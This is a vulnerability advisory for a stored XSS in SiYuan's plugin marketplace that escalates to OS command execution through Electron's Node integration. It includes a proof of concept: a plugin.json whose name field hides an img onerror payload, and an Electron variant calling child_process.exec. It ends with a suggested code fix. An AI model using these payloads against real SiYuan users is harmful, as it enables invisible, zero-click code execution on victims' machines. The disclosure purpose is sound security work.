SiYuan EUVD-2026-30356

Summary

SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description - Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.

Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view - opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.

A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.

Details

Server-side allowlist - kernel/bazaar/package.go:134-145:

func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil { return }
    pkg.Author = html.EscapeString(pkg.Author)
    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
    // pkg.Name and pkg.Version are NOT escaped
}

PreferredName fallback - kernel/bazaar/installed.go:59 and kernel/bazaar/package.go:148-162:

// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)

// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
    if len(m) == 0 { return fallback }   // ← unescaped pkg.Name reaches the renderer
    if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
    if v := strings.TrimSpace(m["default"]);  v != "" { return v }
    if v := strings.TrimSpace(m["en_US"]);    v != "" { return v }
    return fallback
}

Online marketplace path skips the kernel sanitizer - kernel/bazaar/package.go:127 + kernel/bazaar/bazaar.go:48:

// package.go:127  (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)

buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.

The upstream workflow has the same gap - siyuan-note/bazaar/actions/stage/main.go:897-909:

// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义，避免 XSS。
// （跟思源内核 kernel/bazaar/package.go 保持一致）
func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil { return }
    pkg.Author = html.EscapeString(pkg.Author)
    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}

The function is byte-identical to the kernel helper - the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.

Frontend sinks - app/src/config/bazaar.ts:

// :430 - installed-plugin card list (zero-click)
${item.preferredName}

// :526 - package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>

// :540 - package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>

The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).

Renderer privilege boundary - app/electron/main.js:407-411:

webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.

PoC

End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.

1. Run a stock SiYuan v3.6.5 kernel:

mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
  -v /tmp/siyuan-poc-ws:/siyuan/workspace \
  -e SIYUAN_ACCESS_AUTH_CODE=test123 \
  b3log/siyuan:v3.6.5 \
  --workspace=/siyuan/workspace --accessAuthCode=test123

2. Plant a malicious plugin manifest at /tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json:

{
  "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "displayName": {},
  "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
  "author": "markdown-utils",
  "version": "1.4.2",
  "url": "https://github.com/markdown-utils/markdown-utilities",
  "backends": ["all"],
  "frontends": ["all"]
}

The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry - no broken-image icon, no suspicious text.

3. Verify the kernel returns the unescaped payload:

Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:

curl -s -b 'siyuan=<session-cookie>' \
  -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
  -H 'Content-Type: application/json' \
  -d '{"frontend":"desktop","keyword":""}'

Observed (verbatim):

{
  "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "name":          "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "version":       "1.4.2"
}

The HTML payload arrives at the client unmodified.

4. Trigger via the UI:

In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and alert("SiYuan Bazaar XSS") pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.

5. Electron RCE substitution:

The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:

"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"

On any Electron-packaged SiYuan v3.6.5 (e.g. siyuan-3.6.5-mac-arm64.dmg), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.

Impact

• Stored XSS → arbitrary OS command execution in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs.
• Triggers on view, not on install. Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked.
• Visually undetectable. The display:none style hides the malicious markup, so the marketplace card appears entirely legitimate.
• Survives transport. The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, .sy.zip export/import, and any other workspace-content transport without modification.
• Low attacker prerequisites. Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself - both the install flow and the post-listing release-then-poison flow - is the canonical low-friction delivery channel.

Suggested fix

Primary: extend the kernel allowlist in kernel/bazaar/package.go:134-145:

 func sanitizePackageDisplayStrings(pkg *Package) {
     if pkg == nil { return }
     pkg.Author = html.EscapeString(pkg.Author)
+    pkg.Name    = html.EscapeString(pkg.Name)
+    pkg.Version = html.EscapeString(pkg.Version)
     for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
     for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
+    for i, kw := range pkg.Keywords    { pkg.Keywords[i]   = html.EscapeString(kw) }
 }

Secondary: also call sanitizePackageDisplayStrings from kernel/bazaar/bazaar.go:48 (buildBazaarPackageWithMetadata) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at siyuan-note/bazaar/actions/stage/main.go:897-909 (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go").

Tertiary (defense in depth): wrap the frontend sinks in app/src/config/bazaar.ts (${item.preferredName}, ${data.name}, ${data.version}) with the existing escapeHtml(...) helper.

Renderer hardening: switching the main BrowserWindow at app/electron/main.js:407-411 to contextIsolation: true with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.